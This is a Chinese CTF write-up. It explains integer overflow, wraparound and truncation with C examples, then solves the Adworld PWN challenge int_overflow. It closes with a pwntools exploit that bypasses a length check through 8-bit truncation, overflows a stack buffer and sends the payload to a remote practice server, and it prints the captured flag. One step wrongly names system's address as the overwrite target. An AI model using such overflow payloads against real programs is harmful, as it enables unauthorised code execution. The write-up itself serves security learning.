文章目录
- 前言
- 整数溢出
- 有符号整数溢出
- 无符号整数回绕
- 截断与宽度溢出
- int_overflow
- 题目漏洞分析
- EXP程序构造
- 总结
前言
滴水穿石,非一日之功。继续练习攻防世界 PWN 题目,此次练习的题目是 int_overflow,顾名思义是整数溢出类型的漏洞:
整数溢出
做题不是目的,目的是为了学习不懂的知识。So 先来看看什么整数溢出漏洞吧。
C 语言中整数的分类及各自的大小范围如下所示:
正是因为这些类型的大小范围的限制才导致可能发生整数溢出。
整数溢出的异常有3种:
分类 | 描述 |
---|---|
溢出 | 只有有符号数才会发生溢出;溢出标志OF可检测有符号数的溢出 |
回绕 | 环绕特指的是无符号数,比如0减1时会变成最大的数,1字节的话会变为255,而255+1时会变为0;进位标志CF可检测无符号数的回绕 |
截断 | 就是将一个较大宽度的数放入一个宽度较小的数中,高位将发生截断 |
有符号整数溢出
有符号整数溢出被分为上溢出和下溢出两种。
#include <stdio.h>
int main()
{
//上溢出
int i = 2147483647;//int的最大值
i++;
printf("%d\n",i); //输出为最小负数
//下溢出
int j = -2147483648;//int的最小值
j--;
printf("%d\n",j);//输出为最大正数
return 0;
}
运算结果如下:
【漏洞示例】
char buf[80];
void vulnerable() {
int len = read_int_from_network();
char *p = read_string_from_network();
if (len > 80) {
error("length too large: bad dog, no cookie for you!");
return;
}
memcpy(buf, p, len);
}
此案例中,如果给 len 赋值一个负数,就可以绕过 if 判断,但是到 memcpy 时,因为第三个参数是 size_t
(unsigned int) 类型,负数的 len 会被认为是一个很大的正数,从而复制大量内容到 buf,导致缓存区溢出。
无符号整数回绕
无符号数的计算不会溢出,但是会发生回绕。
#include <stdio.h>
int main()
{
unsigned int i = 4294967295;
i++;
printf("%d\n",i); //输出为0
return 0;
}
【漏洞示例】
void vulnerable() {
size_t len;
char* buf;
len = read_int_from_network();
buf = malloc(len + 5);
read(fd, buf, len);
...
}
相较于上一个漏洞例子,这个例子避开来缓冲区溢出的问题,但是如果 len 很大时,len+5 会回绕,比如若是 len = 0xFFFFFFFF,len + 5 = 0x00000004,这时只 malloc 了4个字节,然而之后会 read 大量数据,缓冲区溢出也会发生。
截断与宽度溢出
1、加法截断
0xffffffff + 0x00000001
= 0x0000000100000000 (long long)
= 0x00000000 (long)
【漏洞示例】
void main(int argc, char *argv[]) {
unsigned short int total;
total = strlen(argv[1]) + strlen(argv[2]) + 1;
char *buf = (char *)malloc(total);
strcpy(buf, argv[1]);
strcat(buf, argv[2]);
...
}
这个例子计算了输入参数的长度为 total,程序分配了内存来存拼接后的字符串。这里 total 的类型为 unsigned short int,如果攻击者提供的两个字符串总长度无法用 total 表示,则会发生截断,从而导致后面的缓冲区溢出。
2、乘法截断
0x00123456 * 0x00654321
= 0x000007336BF94116 (long long)
= 0x6BF94116 (long)
3、宽度溢出与整数提升
#include<stdio.h>
void main() {
int l;
short s;
char c;
l = 0xabcddcba;
s = l;
c = l;
printf("宽度溢出\n");
printf("l = 0x%x (%d bits)\n", l, sizeof(l) * 8);
printf("s = 0x%x (%d bits)\n", s, sizeof(s) * 8);
printf("c = 0x%x (%d bits)\n", c, sizeof(c) * 8);
printf("整型提升\n");
printf("s + c = 0x%x (%d bits)\n", s+c, sizeof(s+c) * 8);
}
OUT:
$ ./test
宽度溢出
l = 0xabcddcba (32 bits)
s = 0xffffdcba (16 bits)
c = 0xffffffba (8 bits)
整型提升
s + c = 0xffffdc74 (32 bits)
综上可以看出,在整数转换的过程中,有可能导致下面的错误:
- 损失值:转换为值的大小不能表示的一种类型;
- 损失符号:从有符号类型转换为无符号类型,导致损失符号。
int_overflow
接下来开始练习攻防世界的整数溢出题目:int_overflow。下载并查看附件,是个 32 位小端程序:
开启了 NX 保护,但是未开启 PIE 程序内存加载基地址随机化保护机制(即静态反汇编的地址可以直接使用)。
运行 elf 文件,程序要求用户依次输入用户名和密码,然后结束运行:
题目漏洞分析
将 elf 拖进 IDA Pro 中进行分析,F5 查看主函数伪代码如下:
逻辑很简单,用户输入整数 1 则进入 login(),跟进查看 login 函数:
两处 read 函数依次获取用户名、密码很正常,均不存在溢出,但是密码 buf 传递给了 check_passwd 函数,那就继续跟进:
分析下上述函数逻辑:
- 第 5 行代码定义了一个无符号 8 位整数变量 unsigned _int8 v3(取值范围 0-255);
- 第 7 行代码 v3 = strlen(s),取 check_passwd 函数中用户传递进来的密码字符串的长度作为 v3 的值。但是这里一定要注意的是: strlen 函数的返回值是 size_t 类型,在 32 位文件中即 unsigned int 类型,也就是无符号 32 位整型;
- 第 8 行代码又限制 v3 变量的值(即输入的密码字符串的长度)需要大于整数 3 且小于整数 8;
以上过程存在漏洞的地方就在于:第 7 行代码 v3 = strlen(s) 是将 32 位的数据赋值给 8 位的变量,所以当 password 的长度 strlen(s) 超过 255 个字符时,将发生整数溢出漏洞,编译器将会自动进行截断,只留下后 8 位。此时只要满足 255+3 < strlen(s) <= 255+8,也就是 s 的长度在 (258,263] 这个范围内就可以满足判断条件。
进一步检查 dest 的栈结构:
程序为 check_password() 函数中的 dest 变量分配了 0x14 字节的储存空间,由于 strcpy(dest, s) 的 s 参数来源于 login() 函数第二个 read 函数,回溯发现其却可以读取 0x199 字节数据:
所以在利用整数溢出漏洞绕过 if 判断后,check_password() 函数中的 strcpy(dest, s) 处便显而易见地发生栈溢出。
因此我们可以在 check_password 函数中通过整数溢出绕过 if 条件判断对输入字符串长度的限制,然后通过 strcpy 函数将输入字符串 s 先复制给 dest,同时在拷贝过程借助栈溢出漏洞将后门函数的地址赋值给 result,接着将 result 作为返回值返回给上层函数,也就是 check_passwd(),最后该返回值再作为 login() 函数的返回值返回给主程序,主程序便可以 getshell!
接下来寻找程序中是否存在后门函数,发现确实存在后门函数what_is_this:
偏移地址为 0x804868B,因为此程序未开启 PIE 内存加载基地址随机化保护机制,所以静态反汇编的地址可以直接使用:
EXP程序构造
综上所述,exp 利用程序的思路如下:
- 输入 password 字符串,位数大小在 (258,263] 这个范围内,利用整数溢出漏洞,绕过对字符串长度的判断;
- 利用 strcpy(dest, s) 函数处的栈溢出漏洞,将后门函数 what_is_this() 的地址填入缓冲区中并作为返回地址返回给主程序。
更细致点说就是:
- 首先利用栈溢出,填充 dest 的 0x14 字节内存;
- 然后再发送 4 字节内容覆盖栈底指针 ebp;
- 接着用 system 函数的地址覆盖返回值;
- 最后利用整数溢出漏洞,将字符串长度补充至 (258,263] 位,以此绕过对字符串长度的判断。
最终整体的栈结构将构造如下:
EXP 程序:
from pwn import *
io = remote("161.147.171.105", 61383)
cat_flag_addr = 0x0804868B
io.recvuntil("choice:")
io.sendline("1")
io.recvuntil("username:")
io.sendline("name")
io.recvuntil("passwd:")
payload = b'A'*(0x14 + 0x4) + p32(cat_flag_addr) + b'A'*(256-0x14-4-4+3)
io.sendline(payload)
io.interactive()
成功获取 Flag:cyberpeace{dee51b69c2224dbf4814ac4f6f941d20}
总结
本文学习了缓冲区溢出漏洞常见的一种场景:整数溢出,一旦不认真考虑整数变量的范围,此类漏洞缺陷很容易在程序员的编码过程中发生,这也是安全工作人员需要注意审计的地方。
本文参考文章:
- 整数溢出-From Ghostasky;
- 【攻防世界pwn-int_overflow】;
- 攻防世界 pwn 新手练习区 int_overflow;